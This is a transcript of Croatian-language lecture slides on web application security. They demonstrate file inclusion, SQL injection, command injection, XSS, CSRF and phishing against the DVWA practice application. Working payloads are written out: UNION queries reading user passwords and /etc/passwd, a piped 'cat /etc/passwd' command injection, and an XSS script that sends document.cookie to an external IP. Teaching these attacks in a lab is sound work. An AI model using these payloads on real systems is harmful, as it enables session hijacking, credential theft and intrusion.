1 / 12

Specijalistički studij Informacijska sigurnost Demonstracije: Sigurnost web aplikacija

Specijalistički studij Informacijska sigurnost Demonstracije: Sigurnost web aplikacija. Umetanje datoteka (File inclusion). moguće kod ranjivih sjedišta koja prikazuju datoteku uključenu u URL npr. show=index.php ovisno o ovlastima web aplikacije kao korisnika na sustavu ovlasti na datoteke.

yelena
Download Presentation

Specijalistički studij Informacijska sigurnost Demonstracije: Sigurnost web aplikacija

An Image/Link below is provided (as is) to download presentation Download Policy: Content on the Website is provided to you AS IS for your information and personal use and may not be sold / licensed / shared on other websites without getting consent from its author. Content is provided to you AS IS for your information and personal use only. Download presentation by click this link. While downloading, if for some reason you are not able to download a presentation, the publisher may have deleted the file from their server. During download, if you can't get a presentation, the file might be deleted by the publisher.

E N D

Presentation Transcript


  1. Specijalistički studij Informacijska sigurnostDemonstracije:Sigurnost web aplikacija

  2. Umetanje datoteka (File inclusion) • moguće kod ranjivih sjedišta koja prikazuju datoteku uključenu u URL • npr. show=index.php • ovisno o ovlastima web aplikacije kao korisnika na sustavu • ovlasti na datoteke • http://localhost/dvwa/vulnerabilities/fi/?page=include.php

  3. SQL Injection • Primjer: DVWA • 1. ‘ OR ‘1’=1’ • 2. ‘ OR 1=1# • 3. broj kolumni? • ‘ ORDER BY 1# • ‘ ORDER BY 2# • 4. imena kolumni • ' OR firstname='Marin • ' OR first_name='Marin • ' OR user='Marin • ... • 5. imena tablica(e) • ' OR tablica.user_id = '1 • ' OR users.user_id = '1

  4. SQL Injection • 6. UNION – povezuje dvije SQL naredbe • ' UNION SELECT * from users# • ne radi jer tablica users ima više od dvije kolumne • ' UNION SELECT user, password from users# • ... i još puno toga, npr: • ‘UNION SELECT 1,@@version# • ‘UNION SELECT1,@@hostname# • ' UNION SELECT 1,user()# • ' UNION SELECT 1,database()# • ' UNION SELECT load_file(‘/etc/passwd’),1# SELECT first_name, last_name FROM users WHERE user_id = ’UNOS‘

  5. Izvođenje naredbi (Command Execution) • aplikacija za ping • moguće pokretati više naredbi odjednom • odvajanje naredbi: znakom | ili & • 1. 127.0.0.1 | ls • 2. 127.0.0.1 | cat /etc/passwd

  6. Autentifikacija • HTTP ne čuva stanje (“stateless”protokol) • podaci o sesiji ili korisniku moraju putovati u svakom zahtjevu • problemi s upravljanjem sjednicom • stanje se prati putem varijable SESSION ID • izuzetno nesigurno: napadaču se gotovo daje pristup • SESSION ID se obično vidi na mreži, u pregledniku, u logovima... • putem SESSION ID-a se rade kritične stvari • upravljanje lozinkama, login, pošta, tajna pitanja... • utjecaj: • kompromitacija korisničkog računa ili otmica sjednice

  7. Cross-Site Scripting (XSS) • podaci od napadača šalju se korisniku u preglednik • podaci su: • pohranjeni u bazi podataka (Stored) • rezultat su unosa u obrazac (Reflected) • same origin policy • Unos u obrazac • najčešće pretraga • Proba: • <script>alert(document.cookie)</script>

  8. Cross-Site Scripting (XSS) • Dodavanje skripte na gumb (Submit) • <script type="text/javascript"> • document.guestform.action="http://161.53.19.165/posted/post.php"; • var b = document.getElementsByName("btnSign")[0]; • if (b.onclick) { • b.onclick(); • } else if (b.click) { • b.click(); • } • </script>

  9. Cross-Site Scripting (XSS) • Dodavanje skripte u bazu podataka • <script> • var http = new XMLHttpRequest(); • http.open('POST', 'http://161.53.19.165/posted/post.php', true); • http.setRequestHeader("Content-type", "application/x-www-form-urlencoded"); • http.send(document.cookie); • </script>

  10. Lažiranje zahtjeva na drugom sjedištu • Cross Site Request Forgery(CSRF) • napad pri kojem se preglednik žrtve namami da pošalje naredbu ranjivoj web-aplikaciji • ranjivost je uzrokovana činjenicom da preglednici automatski uključuju autentifikacijske podatke (sjednica, IP adresa) u svaki zahtjev (cookie) • same origin policy? • iskorištava se činjenica da sjedište vjeruje pregledniku korisnika • Primjer • aplikacija za plaćanje • zlonamjerni HTTP GET zahtjev na drugoj stranici • <img src="http://localhost/OWASPPokazni/plati.php?platitelj=marin&primatelj=HACKER&sigkod=222&iznos=2220&plati=plati"/>

  11. Phishing stranice • Stranice koje se lažno predstavljaju kao neke legitimne stranice • Cilj: krađa podataka (ime i lozinka) • Kako napraviti phishing stranicu? • Kako preusmjeriti promet na “lažnu” stranicu?

  12. Korisni alati • Ranjiva web aplikacija – Damn Vulnerable Web Application • http://dvwa.co.uk/ • Skup alata za društveni inžinjering i ostale napade – Social Engineering Toolkit • https://www.trustedsec.com/downloads/social-engineer-toolkit/

More Related